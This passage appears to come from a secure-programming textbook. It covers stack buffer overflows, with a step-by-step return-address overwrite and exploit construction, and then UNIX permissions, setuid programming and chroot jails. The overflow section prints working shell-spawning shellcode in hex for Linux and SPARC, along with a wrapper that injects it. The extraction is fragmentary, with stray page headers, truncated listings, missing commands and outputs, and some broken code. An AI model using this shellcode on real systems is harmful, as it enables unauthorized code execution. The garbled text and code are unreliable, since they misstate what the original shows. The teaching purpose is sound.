strcpy. If you do so, you’ll see that the value of the 4 bytes after the return
address is always equal to argc.
So why are we writing over argv? Let’s add some code to give us a
“before-and-after” picture of the stack. Let’s look at it before we do the first
strcpy, and then take another look after we do the last strcpy:
printf("Entering concat_arguments.\n"
"This should happen twice if our program jumps to the "
"right place\n");
for(i=1;i<argc;i++) {
printf("i = %d; argc = %d\n", i, argc);
strcpy(p, argv[i]);
/*
* We’ll reuse i to avoid adding to the size of the stack
frame.
* We will set it back to 1 when we’re done with it!
* (we’re not expecting to make it into loop iteration 2!)
*/
p+=strlen(argv[i]);
if(i+1 != argc) {
*p++ = ' '; /* Add a space back in */
}
}
printf("%s\n", buf);
printf("%p\n", &concat_arguments);
}
170 Chapter 7 Buffer Overflows
Running this program with our wrapper, results in something like the
following:
Let’s pay special attention to argc. In the “before” version of the stack,
it lives at 0xbffff918, highlighted in the middle column. Its value is 2, as
would be expected. Now, this variable lives in the same place in the “after”
version, but note that the value has changed to 0. Why did it change to 0?
Stack Overflows 171
Because we forgot that strcpy copies up to and including the first null it
finds in a buffer. So we accidentally wrote 0 over argc. But how did argc
change from 0 to 32? Look at the code after we print out the stack. In it,
argc is not equal to i+1, so we add a space at the end of the buffer, and the
least-significant byte of argc is currently the end of the buffer. So the null
gets replaced with a space (ASCII 32).
It is now obvious that we can’t leave that null where it is. How do we solve
the problem? One thing we can do from our wrapper is add 0x2 to the end of
the buffer so that we write the null into the second least-significant digit, instead
of the least-significant digit. This change causes 0x2 to appear at 0xbffff918,
and 0x0 to appear at 0xbffff919, causing the memory at which argc lives to
look exactly the same in the “before” and “after” versions of our stack.
Here’s a fixed version of the wrapper code:
int main() {
char* buf = (char *)malloc(sizeof(char)*1024);
char **arr = (char **)malloc(sizeof(char *)*3);
int i;
buf[24] = 0xd4;
buf[25] = 0x84;
buf[26] = 0x4;
buf[27] = 0x8;
buf[28] = 0x2;
buf[29] = 0x0;
arr[0] = "./concat";
arr[1] = buf;
arr[2] = '\0';
execv("./concat", arr);
}
Let’s “comment out” the stack inspection code that we inserted into
concat.c before we run it again (leaving the rest of the debugging code
intact). After we recompile both programs, and run our wrapper, we get
$ ./wrapconcat
Entering concat_arguments.
This should happen twice if our program jumps to the right place
i = 1; argc = 2
xxxxxxxxxxxxxxxxxxxxxxxxÔ
172 Chapter 7 Buffer Overflows
0x80484d4
Entering concat_arguments.
This should happen twice if our program jumps to the right place
xxxxxxxxxxxxxxxxxxxxxxxx
0x80484d4
Segmentation fault (core dumped)
$
This result is far more promising! Our code jumped back to the beginning of
the function at least.
But why didn’t the program loop forever, like it was supposed to do?
The answer to this question requires an in-depth understanding of what
goes on when a function is called using C on an x86 running Linux
(although other architectures usually behave similarly). There are two
interesting pointers to the stack: the base pointer and the stack pointer. The
base pointer we already know a bit about. It points to the middle of a stack
frame. It is used to make referring to local variables and parameters from
the assembly code generated by the compiler easier. For example, the
variable i in the concat_arguments function isn’t named at all if you
happen to look for it in the assembly code. Instead, it is expressed as a
constant offset from the base pointer. The base pointer lives in the register
ebp. The stack pointer always points to the top of the stack. As things get
pushed onto the stack, the stack pointer automatically moves to account
for it. As things get removed from the stack, the stack pointer is also
automatically adjusted.
Before a function call is made, the caller has some responsibilities.
A C programmer doesn’t have to worry about these responsibilities because
the compiler takes care of them, but you can see these steps explicitly if you
go digging around in the assembled version of a program. First, the caller
pushes all the parameters that are expected by the called function onto the
stack. As this is done, the stack pointer changes automatically. Then there
are some other things the caller can save by pushing them onto the stack
too. When done, the caller invokes the function with the x86 “call”
instruction. The call instruction pushes the return address onto the stack
(which generally is the instruction textually following the call), and the
stack pointer gets updated accordingly. Then the call instruction causes
execution to shift over to the callee (meaning the program counter is set
to be the address of the function being called).
The callee has some responsibilities too. First, the caller’s base pointer
is saved by pushing the contents of the ebp register onto the stack. This
Stack Overflows 173
updates the stack pointer, which is now pointing right at the old base
pointer. (There are some other registers the callee is responsible for saving
to the stack as well, but they don’t really concern us, so we’ll ignore them.)
Next, the caller sets the value of the ebp for its own use. The current value
of the stack pointer is used as the caller’s base pointer, so the contents of
register esp are copied into register ebp. Then the callee moves the stack
pointer enough to reserve space for all locally allocated variables.
When the callee is ready to return, the caller updates the stack pointer
to point to the return address. The ret instruction transfers control of the
program to the return address on the stack and moves the stack pointer to
reflect it. The caller then restores any state it wants to get back (such as
the base pointer), and then goes about its merry way.
With this under our belt, let’s figure out what happens when our little
program runs. As we rejoin our story . . . we finish carrying out the exit
responsibilities of the callee, then jump back to the top of the function,
where we start to carry out the entrance responsibilities of the callee. The
problem is, when we do this we completely ignore the responsibilities of the
caller. The caller’s responsibilities on return don’t really matter, because
we’re just going to transfer control right back to concat_arguments. But
the stuff that main is supposed to do before a call never gets done when we
jump to the top of concat_arguments. The most important thing that
doesn’t happen when we jump to the start of a function like we did is push-
ing a return address onto the stack. As a result, the stack pointer ends up
4 bytes higher than where it should be, which messes up local variable
access. The crucial thing that really causes the crash, though, is that there
is no return address on the stack. When execution gets to the end of
concat_arguments the second time, execution tries to shift to the return
address on the stack. But we never pushed one on. So when we pop, we get
whatever happens to be there, which turns out to be the saved base pointer.
We have just overwritten the saved base pointer with 0x78787878. Our poor
program jumps to 0x78787878 and promptly crashes.
Of course we don’t really need to put our program in an infinite loop
anyway. We’ve already demonstrated that we can jump to an arbitrary point in
memory and then run some code. We could switch gears and begin to focus
on placing some exploit code on the stack and jumping to that. Instead, let’s
go ahead and get our program to go into an infinite loop, just to make sure
we have mastered the material. We’ll craft an actual exploit after that.
Here’s how we can get our program to go into an infinite loop. Instead
of changing the return address to be the top of the concat_arguments
174 Chapter 7 Buffer Overflows
pushl $concat_arguments
call concat_arguments
JMP_ADDR:
call concat_arguments
pushl $JMP_ADDR
By this point we’ve made all the changes to this assembly code we need
to make. So let’s save it and then compile it with the following command:
Notice we’re compiling the .s file, and not the .c file this time.
So now if we run concat (or our wrapper), the program prints out the
memory address to which we eventually need to jump. If we run concat
through our wrapper, we get output much like the following:
$ ./wrapconcat
Entering concat_arguments.
This should happen twice if our program jumps to the right place
i = 1; argc = 2
xxxxxxxxxxxxxxxxxxxxxxxxÔ
0x804859f
Entering concat_arguments.
This should happen twice if our program jumps to the right place
xxxxxxxxxxxxxxxxxxxxxxxx
0x804859f
Segmentation fault (core dumped)
Notice that the memory address is different than it was before. Let’s
change our wrapper to reflect the new memory address:
#include <stdio.h>
int main() {
char* buf = (char *)malloc(sizeof(char)*1024);
char **arr = (char **)malloc(sizeof(char *)*3);
int i;
176 Chapter 7 Buffer Overflows
arr[0] = "./concat";
arr[1] = buf;
arr[2] = '\0';
execv("./concat", arr);
}
It’s time to compile and run the wrapper. It works. We’ve made an
infinite loop. But wait, we’re not quite done. The version of concat that
we’re running has lots of debugging information in it. It turns out that all
our debugging information has caused the code in the main method to move
to somewhere it wouldn’t otherwise be. What does this mean? Well, it
means that if we remove all our debugging code and try to use our wrapper,
we’re going to get the following output:
$ ./wrapconcat
xxxxxxxxxxxxxxxxxxxxxxxx
Illegal instruction (core dumped)
$
This output suggests that the code for the function concat_arguments is
placed in a lower memory address than the code for main. Apparently, we
need to get the real memory address to which we want to return. We could
get it to work by trial and error. For example, we could try moving the
pointer a byte at a time until we get the desired results. We couldn’t have
removed too many bytes of code, right? Right. But there’s an easier way.
Let’s take the original concat.c and make a small modification to it:
for(i=1;i<argc;i++) {
strcpy(p, argv[i]);
p+=strlen(argv[i]);
if(i+1 != argc)
{
*p++ = ' '; /* Add a space back in */
}
}
printf("%s\n", buf);
}
Once again we have modified the program to print out the address
of concat_arguments. This time, however, we’re doing it after the return
from concat_arguments in main. Because main is the last function laid
out into memory, and because this code comes after the call in which we’re
interested, our change should not affect the memory address of the call.
Next we have to do the exact same assembly language hack we did before,
and adjust our wrapper accordingly. This time we may get the address
0x804856b, which is, as expected, different than the one we had been using.
After modifying the wrapper and recompiling it, remove printf from
concat, and recompile. When you recompile concat and run the wrapper,
notice that everything works as expected. We finally got it right, and
hopefully learned something in the process.
Now it’s time to turn our knowledge into an attack.
Attack Code
Crafting a buffer overflow exploit may seem easy at first blush, but it
actually turns out to be fairly hard work. Figuring out how to overflow a
particular buffer and modify the return address is half the battle.
Note that this section provides working exploit code. Some people are
sure to criticize us for this choice. However, this code is easy to find on the
Internet, as are tutorials for using it. We’re not revealing any big secrets by
putting this information here. Attackers who are skilled enough to write
178 Chapter 7 Buffer Overflows
void exploit() {
char *s = "/bin/sh";
execl(s, s, 0x00);
}
A UNIX Exploit
So we’ve got a UNIX function in C that does what we want it to do (in
other words, it gets us a shell). Given this code (displayed earlier) and a
buffer that we can overflow, how do we combine the two pieces to get the
intended result?
From 50,000 feet, here’s what we do: We take our attack code, compile
it, extract the binary for the piece that actually does the work (the execl
call), and then insert the compiled exploit code into the buffer we are over-
writing. We can insert the code snippet before or after the return address
over which we have to write, depending on space limitations. Then we
have to figure out exactly where the overflow code should jump, and place
that address at the exact proper location in the buffer in such a way that
it overwrites the normal return address. All this means the data that we
want to inject into the buffer we are overflowing need to look something
like this:
Attack Code 179
Position Contents
Start of buffer Our exploit code might fit here; otherwise, whatever.
End of buffer ”
Other vars ”
Return address A jump-to location that will cause our exploit to run
Parameters Our exploit code, if it didn’t fit elsewhere
Rest of stack Our exploit code, continued, and any data our code needs
Sometimes we can fit the exploit code before the return address, but usu-
ally there isn’t enough space. If our exploit is not that big, there may be some
extra space we need to fill. Often, it is possible to pad any extra space with a
series of periods. Sometimes this doesn’t work. Whether the period-padding
approach works depends on what the rest of the code does. Without the
specific value in the right place, the program would crash before it had a
chance to get to the overwritten return address.
In any case, the most immediate problem is to take our attack code and
get some representation for it that we can stick directly into a stack exploit.
One way to do this is to create a little binary and take a hex dump. This
approach often requires playing around a bit to figure out which parts of the
binary do what. Fortunately, there is a better way to get the code we need.
We can use a debugger.
First we write a C program that invokes our exploit function:
void exploit() {
char *s = "/bin/sh";
execl(s, s, 0x00);
}
void main() {
exploit();
}
Next we compile this program with debugging on (by passing the –g flag to
the compiler), and run it using gdb, the GNU debugger, using the command
gdb exploit
Now we can look at the code in assembly format and tell how many
bytes to which each instruction maps using the following command:
disassemble exploit
180 Chapter 7 Buffer Overflows
x/bx exploit
The utility will show you the value of the first byte in hexadecimal. For
example,
Keep hitting return, and the utility will reveal subsequent bytes. You can
tell when the interesting stuff has all gone by because the word “exploit” in
the output will go away. Remember that we (usually) don’t really care about
function prologue and epilogue stuff. You can often leave these bytes out, as
long as you get all offsets relative to the actual base pointer (ebp) right.
Direct compilation of our exploit straight from C does have a few
complications. The biggest problem is that the constant memory addresses
in the assembled version are probably going to be completely different in the
program we’re trying to overflow. For example, we don’t know where execl
is going to live, nor do we know where our string "/bin/sh" will end up
being stored.
Getting around the first challenge is not too hard. We can statically link
execl into our program, view the assembly code generated to call execl, and
Attack Code 181
use that assembly directly. (execl turns out to be a wrapper for the execve
system call anyway, so it is easier to use the execve library call in our code,
and then disassemble that.) Using the static linking approach, we end up
calling the system call directly, based on the index to system calls held by the
operating system. This number isn’t going to change from install to install.
Unfortunately, getting the address of our string (the second challenge)
is a bit more problematic. The easiest thing to do is to lay it out in memory
right after our code, and do the math to figure out where our string lives
relative to the base pointer. Then, we can indirectly address the string via
a known offset from the base pointer, instead of having to worry about the
actual memory address. There are, of course, other clever hacks that achieve
the same results.
As we address our two main challenges, it is important not to forget
that most functions with buffers that are susceptible to buffer overflow
attacks operate on null-terminated strings. This means that when these
functions see a null character, they cease whatever operation they are
performing (usually some sort of copy) and return. Because of this, exploit
code cannot include any null bytes. If, for some reason, exploit code
absolutely requires a null byte, the byte in question must be the last byte
to be inserted, because nothing following it gets copied.
To get a better handle on this, let’s examine the C version of the exploit
we’re crafting:
void exploit() {
char *s = "/bin/sh";
execl(s, s, 0x00);
}
0x00 is a null character, and it stays a null character even when compiled
into binary code. At first this may seem problematic, because we need to
null terminate the arguments to execl. However, we can get a null without
explicitly using 0x00. We can use the simple rule that anything XOR-ed with
itself is 0. In C, we may thus rewrite our code as follows:
void exploit() {
char *s = "/bin/sh";
execl(s, s, 0xff ^ 0xff);
}
The XOR thing is a good sneaky approach, but it still may not be enough.
We really need to look over the assembly and its mapping to hexadecimal to
182 Chapter 7 Buffer Overflows
see if any null bytes are generated anywhere by the compiler. When we do
find null bytes, we usually have to rewrite the binary code to get rid of them.
Removing null bytes is best accomplished by compiling to assembly, then
tweaking the assembly code.
Of course, we can circumvent all of these sticky issues by looking up
some shell-launching code that is known to work, and copying it. The well-
known hacker Aleph One has produced such code for Linux, Solaris, and
SunOS, available in his excellent tutorial on buffer overflows, Smashing the
Stack for Fun and Profit [Aleph, 1996]. We reproduce the code for each
platform here, in both assembly and hexadecimal as an ASCII string.
Linux on Intel machines, assembly:
jmp 0x1f
popl %esi
movl %esi, 0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call –0x24
.string \"/bin/sh\"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\
x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\
x80\xe8\xdc\xff\xff\xff/bin/sh"
sethi 0xbd89a, % l6
or %16, 0x16e, % l6
sethi 0xbdcda, % l7
and %sp, %sp, %o0
Attack Code 183
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\
x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\
xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08\
x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"
sethi 0xbd89a, % l6
or %16, 0x16e, % l6
sethi 0xbdcda, % l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std % l6, [%sp – 16]
st %sp, [%sp – 8]
st %g0, [%sp – 4]
mov 0x3b, %g1
mov –0x1, % l5
ta % l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta % l5 + 1
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\
x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\
xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff\
x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"
184 Chapter 7 Buffer Overflows
Now that we have exploit code we need to stick it on the stack (or
somewhere else that is accessible through a jump). Then we need to deter-
mine the exploit code’s exact address, and overwrite the original return
address so that program execution jumps to the address of our exploit.
Fortunately, we know from experience that the start of the stack is
always the same address for a particular program, which helps. But the actual
value of the exploit code’s address is important too. What if that address has
a null byte in it (something that is all too common in Windows applications)?
One solution that works is to find a piece of code that lives in the program
memory and that executes a jump or a return to the stack pointer. When the
executing function returns, control marches on to the exploit code address
just after the stack pointer is updated to point right to our code. Of course,
we have to make sure that the address with this instruction does not contain
a null byte itself.
If we’ve done enough analysis of the program itself, we may already
know the memory address of the buffer we want to overflow. Sometimes,
such as when you don’t have a copy of the program source to play with, you
may do well to figure things out by trial and error. When you identify a
buffer you can overflow, you can generally figure out the distance from the
start of the buffer to the return address by slowly shrinking a test string until
the program stops crashing. Then it’s a matter of figuring out the actual
address to which you need to jump.
Knowing approximately where the stack starts is a big help. We can
find out by trial and error. Unfortunately, we have to get the address exactly
right, down to the byte; otherwise, the program crashes. Coming up with
the right address using the trial-and-error approach may take a while. To
make things easier, we can insert lots of null operations in front of the shell
code. Then, if we come close but don’t get things exactly right, the code still
executes. This trick can greatly reduce the amount of time we spend trying
to figure out exactly where on the stack our code was deposited.
Sometimes we won’t be able to overflow a buffer with arbitrary
amounts of data. There are several reasons why this may be the case.
For example, we may find a strncpy that copies up to 100 bytes into a
32-byte buffer. In this case we can overflow 68 bytes, but no more. An-
other common problem is that overwriting part of the stack sometimes
has disastrous consequences before the exploit occurs. Usually this hap-
pens when essential parameters or other local variables that are supposed
to be used before the function returns get overwritten. If overwriting the
return address without causing a crash is not even possible, the answer is
Conclusion 185
to try to reconstruct and mimic the state of the stack before exploiting the
overflow.
If a genuine size limitation exists, but we can still overwrite the return
address, there are a few options left. We can try to find a heap overflow, and
place our code in the heap instead. Jumping into the heap is always possible.
Another option is to place the shell code in an environment variable, which
is generally stored at the top of the stack.
Conclusion
We have covered lots of ground in this chapter. The take-home message is
program carefully so your code is not susceptible to buffer overflow. Use
source-code scanning tools whenever possible, especially considering that
not everyone wants to use runtime tools such as automatic bounds checking
or Stackguard. If you do have to create an exploit (hopefully for legitimate
purposes, such as demonstrating that a piece of software really is vulnerable),
remember that leveraging the work of others wherever possible
makes things a lot easier.
This page intentionally left blank
Access Control
8
187
188 Chapter 8 Access Control
1. The meanings of these permissions are different for directories, and are discussed later.
The UNIX Access Control Model 189
specifiers or even between specifiers). After the specifier, you then indicate
files on which you wish to change permissions. For example,
chmod go-rwx *
would cause all files in a directory to be inaccessible to those who are in the
group that has group ownership of the files, and to all other people except
the user. If the user had previously run the command
chmod u-rwx *
then no one would be able to access any of the files by default, except for
root, who is able to read and write, but not execute. The user (file owner)
can always move to circumvent that restriction of course. If we wish to
allow ourselves to do whatever we wish, but explicitly restrict all others
from doing anything on those files, we could just say
chmod u=rwx *
There is also a syntax using octal notation that requires the user to
understand how permissions are implemented. Basically, permissions can
be thought of as four octal digits. Each permission is represented by a single
bit in a single digit. The most significant octal digit is usually 0. This digit
encodes setuid, setgid, and the sticky bit. The most significant bit changes
the setuid bit, and the least significant bit changes the sticky bit. Therefore,
there are the following possible combinations:
Digit Meaning
0 setuid off, setgid off, sticky off
1 setuid off, setgid off, sticky ON
2 setuid off, setgid ON, sticky off
3 setuid off, setgid ON, sticky ON
4 setuid ON, setgid off, sticky off
5 setuid ON, setgid off, sticky ON
6 setuid ON, setgid ON, sticky off
7 setuid ON, setgid ON, sticky ON
The next most significant digit represents owner permissions, then group
permissions. The least significant digit represents other permissions. In all of
these three digits, the most significant bit represents read permissions, the
192 Chapter 8 Access Control
next bit represents write permissions, and the least significant bit represents
execute permissions:
Digit Meaning
0 Read off, write off, execute off
1 Read off, write off, execute ON
2 Read off, write ON, execute off
3 Read off, write ON, execute ON
4 Read ON, write off, execute off
5 Read ON, write off, execute ON
6 Read ON, write ON, execute off
7 Read ON, write ON, execute ON
In the case of a binary, we can get away without the read permission:
–rwxrwxr––
The long directory listing also shows the username associated with the
owner UID (or the owner UID if there is no such username), the group name
or ID, and the last modification time of the file, among other things. Note
that you should never rely on the last modification time to be accurate unless
you completely control the environment, because this can be controlled pro-
grammatically. For example, the touch command can be used to change the
last modification time arbitrarily (a common trick used to hide tracks).
Modifying Ownership
The chown command changes user and group ownerships of a file. Usually,
only root runs this command.2 The primary problem is that a user cannot
change the user ownership of a file without first obtaining root permission.
The group ownership can be changed, but only to the active group of
the user.
Although a user can belong to many groups, there is always a “primary”
group. All groups are active for permission checking. New files (generally)
inherit the group of the parent directory. The primary group is important
only for setgid, and (if parent directory permissions are set appropriately on
System V-derived systems, such as Solaris) the group of a newly created file.
To switch the primary group, the user generally uses the newgrp command.
For example, if your login is “fred,” and “fred” is your default primary
group, yet you wish to change group ownership of files to “users,” you
must first run the command
newgrp users
When running the chown command, a user specifies the new ownership
information. In most UNIX variants the owner is a string that is either a
2. On System V, non-root users can give away files. This has caused security holes on
programs written for BSD.
194 Chapter 8 Access Control
changes the ownership of blah.txt to fred, only if “fred” exists, and only if
root runs this command. If fred runs the command, nothing happens. If any-
one else runs the command, an error results.
To change group ownership, we can prepend a period to the ownership
information. For example, one can say
You can also specify both user and group ownership at once:
The umask
When programs run, there is one important property of the program to keep
in mind: the umask. The umask determines which access permissions files
created by the running process get. The umask is a three-digit octal number
that specifies which access bits should not be set under any conditions when
creating new files. The umask never affects the special access bits (setuid, set-
gid, and sticky). When a program opens a new file, the permissions set on
the new file are merged with umask. For example, most commands try to use
permission 0666, which can be restricted through use of umask:
That is, if you specify all zeros for umask, then everyone is able to read
and write created files. If you specify all sixes or all sevens, then no one is
able to do so. In most cases, the executable bit in the umask is ignored,
meaning that the maximum permission at file creation is usually 0666,
instead of 0777. However, a programmer can specify a higher maximum
(usually in C code).
The umask command can set the umask for a command shell. Often, the
default is 022, which results in files of mode 644. Such files are world read-
able, but are only writable by the user creating the file. If you wish to keep
all eyes out other than the creating user, set the umask to 0066 or 0077.
The UNIX Access Control Model 195
#include <sys/types.h>
#include <sys/stat.h>
On error, –1 is returned, and errno is set. The call to fchmod only fails
(in most cases) if there are permissions problems. However, not all permis-
sions problems stem from a user not having the right UID (EPERM). A user
may also try to change the permissions on a file mounted on a read-only CD
(EROFS). A generic input/output error is also possible (EIO). The other
common failure mode occurs if the file descriptor is invalid (that is, the fd
does not point to a valid open file [EBADF]). There can also exist file
system-specific errors.
If we want to change ownership of a file, we can use chown() or
fchown(). Again, we should restrict ourselves to the latter to help avoid
unwanted TOCTOU race conditions. The fchown call takes three arguments:
a file descriptor, a UID (type uid_t), and a GID (type gid_t). Passing a –1 to
either the second or third argument results in no change to that argument.
With the fchown call, we do not need to do the equivalent of the newgrp
command. Any group to which the effective user belongs can be passed to the
call. However, on many operating systems, only root’s EUID (0) can change
the actual owner. Here’s an example of changing the group to the GID 100
(often the GID for “users,” but not always!) on an already open file:
#include <sys/types.h>
#include <unistd.h>
The failure modes are the same as with fchmod. The call always succeeds
or fails, and it should not be possible to set the group owner successfully
when attempting to set the owner to an invalid value.
The UNIX Access Control Model 197
#include <sys/types.h>
#include <sys/stats.h>
void query_umask() {
mode_t umsk = umask(0);
umask(umsk);
return umsk;
}
struct utimbuf {
time_t actime; /* access time */
time_t modtime; /* modification time */
};
Setuid Programming
Earlier in the chapter we discussed the setuid and setgid bits in an access
specifier. These bits come in handy when we want to allow access to files or
services that the user running the program is not allowed to access. For
example, we may want to keep a global log of users who access a particular
program. Furthermore, we may want to ensure that no one other than root
is able to modify or view this log, except via our program.
By default, a program runs with the permissions of the user running the
program. However, setuid and setgid allow us to run a program with the
198 Chapter 8 Access Control
3. Technically, these are the symbolic names for the UIDs, and not the UIDs themselves,
because UIDs are numeric.
The UNIX Access Control Model 199
#include <stdio.h>
#include <pwd.h>
#include <sys/types.h>
runner_uid = getuid();
owner_uid = geteuid();
if(!logfile) {
/* Probably the binary is not setuid! */
perror(argv[0]);
return –1;
}
pwent->pw_name, runner_uid);
}
else {
fprintf(logfile, "%s run by UNKNOWN (uid %d).\n",
argv[0], runner_uid);
}
/* ... */
fclose(logfile);
return 0;
}
Note that on program entry we immediately change our EUID to that of the
user running the program. If an attacker can break our program before we
drop privileges altogether (using, say, a buffer overflow), the attacker could
most definitely switch them back. Thus, our security move raises the bar
only slightly, and in fact it is mostly useful to keep us from accidentally
shooting ourselves in the foot.
More often, setuid programs are owned by root because they need
some special privilege only granted to the root user. For example, UNIX-
based operating systems only allow root to bind to a port under 1024. If
you’re writing an SMTP server, then it’s critical that you bind to port 25,
and thus you must have at least one program that either runs with root priv-
ileges or is setuid root. Other operations that only root can perform include
calls to chown(), chroot() (described later), user administration (changing
password file entries), and direct access to device drivers.4
In general, letting any program run with root privileges all the time is a
very bad idea, because if any part of your program is exploitable, then the
exploit can accidentally provide an attacker with root privileges. When
possible, practice the principle of least privilege: Do not run as root at all.
When a program does need privileges, try to confine operations that need
special privileges to the beginning of your program, and then drop root priv-
ileges as quickly as possible. When opening files, devices, or ports, this should
be straightforward. Unfortunately, doing this is sometimes impossible, such
as when it is necessary to use ioctls that can only be made by root.
The best solution in such cases is to compartmentalize, and hope to
minimize the risk of a vulnerability. For example, when you need to deal with
a device driver, you may write a daemon that runs as root and does nothing
4. Note that many disk devices are group readable by “operator” or some other group to per-
mit backup dumps. This can easily leave sensitive files readable by a nonroot user.
The UNIX Access Control Model 201
your script. Your C program should have a hard-coded value for the loca-
tion of the script, and you should be sure that the script is opened securely
(discussed later).
Compartmentalization
Containing an attacker in the case of a break-in is always a good idea. Let’s
turn back to UNIX for our description of compartmentalization.
The chroot() call provides a standard way to compartmentalize code.
The chroot() system call changes the root directory for all subsequent file
operations. It establishes a “virtual” root directory. In the best case, even if
an attacker can break the running program, the damage an attacker can do
to the file system is limited to those files under the virtual root. In practice,
chroot() usually doesn’t work all that well.
One issue with the chroot() call is that only the root UID can use it.
Often, programmers allow the program to continue to run without totally
dropping root privileges. This is a bad idea. When you run a process chroot(),
the process should set the EUID and UID both to a less-privileged user
immediately to eliminate the window of vulnerability.
Compartmentalization 205
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
ouid = getuid();
oeuid = geteuid();
ogid = getgid();
oegid = getegid();
if(ouid == 0 || ogid == 0) {
fprintf(stderr, "Must not be running uid root.\n");
exit(–1);
}
if(chroot(path)) {
perror("chroot");
exit(–2);
}
chdir("/");
206 Chapter 8 Access Control
setegid(ogid);
seteuid(ouid);
}
There are other problems with this system call. The biggest is that
dependent files are not visible unless you put them in the chroot “jail.” For
example, if you use popen() or system() to run other programs (see
Chapter 12 for why this is a bad idea), you will not get the correct behavior
until you install /bin/sh and everything on which it might be dependent!
Also, if you dynamically load libraries, those libraries are no longer visible
unless you place them in the environment. If you want access to a byte code-
interpreted language such as Python, Java, or Perl, you need more than just
the binary. In fact, you need to copy every single module and library these
languages may load as your program runs its entire course, as well as the
language implementation itself. Even worse, some applications require the
presence of /dev/zero, /dev/null, /dev/urandom or /dev/random, and
they fail unless you also put those devices in the jail.
Obviously, chroot can be a maintenance nightmare. One thing you
should avoid putting in a chroot environment is anything at all that is
setuid root. When such programs are available in a jail, the jail has a high
likelihood of being broken from the inside out.
One more issue is that some system calls that aren’t involved with the
file system usually ignore the chroot’d value. This problem makes it easy to
break out of a jail as soon as code can be run with root privileges. In partic-
ular, ptrace, kill, and setpriority disregard the new root. Additionally,
mknod can be used to create a real device in the jail that allows an attacker
direct access to devices, which can then be used to escape the jail.
You should avoid leaving anything else in the jail that’s potentially sensi-
tive. For example, a jail should not contain any global password databases.
Also note that chroot() doesn’t keep people from opening sockets or
performing any other call that isn’t file system related.
There are more modern solutions to this problem that don’t suffer from
the hassles involved in creating a virtual file system, although they usually
have their own usability problems. The modern solution is a “sandboxing”
approach: The operating system enforces a “just-in-time” access control
policy on the file system. The program sees the real file system, but the
operating system may choose to forbid a particular access based on the
actual parameters to the call.
Fine-Grained Privileges 207
The major problem with this type of solution is that it requires a well-
thought-out, detailed policy regarding what can and cannot be accessed.
Such a policy often requires an in-depth understanding of the program being
sandboxed. By contrast, chroot()’s access control policy is simple and
draconian: If it’s not in the environment, it’s not available (in the best case)!
Even so, chroot() isn’t very easy to get right. As of this writing, we know
several people who have put many hours into trying “to chroot()” the
JVM, to protect against any flaws that might happen to be in the JVM itself.
So far, we know of no one who has succeeded. An additional problem with
policy-based sandboxing technologies is that they are not widely portable.
At the time of this writing, no such tool is portable across more than two
platforms. On the other hand, chroot() is universally available across
UNIX systems.
Of course, when using a sandboxing technology, you still need to make
sure that setuid root programs are not executable by the sandboxed process,
or it may be possible to exploit a bug and gain unlimited access.
There are several good sandboxing solutions available for free, including
Janus [Goldberg, 1996b], which runs on Linux and Solaris, and Subdomain
[Cowan, 2000], which runs only on Linux. Commercial sandboxing solu-
tions exist for Windows and FreeBSD, and several similar technologies exist
in research labs. Additionally, Java comes with its own sandboxing solution.
All of these solutions allow for fine-grain policy enforcement. For example,
the UNIX-based solutions allow you to prevent any system call from suc-
ceeding, thus allowing you to prohibit a process from opening sockets.
Usually, the control is even more fine-grain, because most such tools can
check arguments passed to a system call. This book’s companion Web site
provides links to the most current related technologies.
Fine-Grained Privileges
Some UNIX operating systems, such as Trusted Solaris, provide facilities
to provide more fine-grain privilege control, allowing applications to select
only the privileges they need to run, instead of privilege being “all or noth-
ing,” as in the traditional UNIX model. As a result, these operating systems
are better compartmentalized than usual, and there is often support for
protecting parts of an operating system from everything else. There’s also a
technology called capabilities that has a similar goal. Capabilities was pro-
posed as a POSIX standard, but was never ratified. As of mid 2001, capabil-
ities is yet to be fully realized by any major operating system, and we suspect
208 Chapter 8 Access Control
it never will. At the very least, we find capabilities unlikely ever to become a
portable standard.
These facilities tend to be packaged with a concept called mandatory
access control, which is generally not found in other operating systems. In a
typical operating system, if a user is granted ownership of an object (users
can transfer file ownership of files they own, and the root user can arbitrar-
ily set file ownership), the user can assign others access to an object without
restriction. Therefore, if a user owns a classified document, nothing prevents
that user from sharing the file with people who are not supposed to be able
to access classified information. Mandatory access control solves this prob-
lem by introducing security labels to objects that necessarily propagate across
ownership changes. This sort of functionality can be used to prevent an arbi-
trary component of the operating system from breaking the system security
policy when handling an object created in another part of the system. For
example, with a good mandatory access control-enabled operating system,
it is possible to prevent anything in the operating system from accessing the
disk drive, save the device driver. In a more typical operating system, any file
protection mechanism you could imagine creating can be circumvented if a
user can trick any part of the operating system into running code that
directly accesses the disk.
Although there are some UNIX variants that provide this sort of advanced
security functionality, it is currently impossible to get a mainstream non-UNIX
operating system that implements mandatory access control.
Conclusion
Access control is one of the most fundamental security services an operating
system provides. Unfortunately, access control facilities tend to be difficult
to use properly. To make matters worse, the Windows model is significantly
different from the UNIX model, and other platforms (such as CORBA)
often have their own mechanisms as well.
In this chapter, we’ve focused primarily on the generic UNIX access
control model. Many operating systems have their own extensions to this
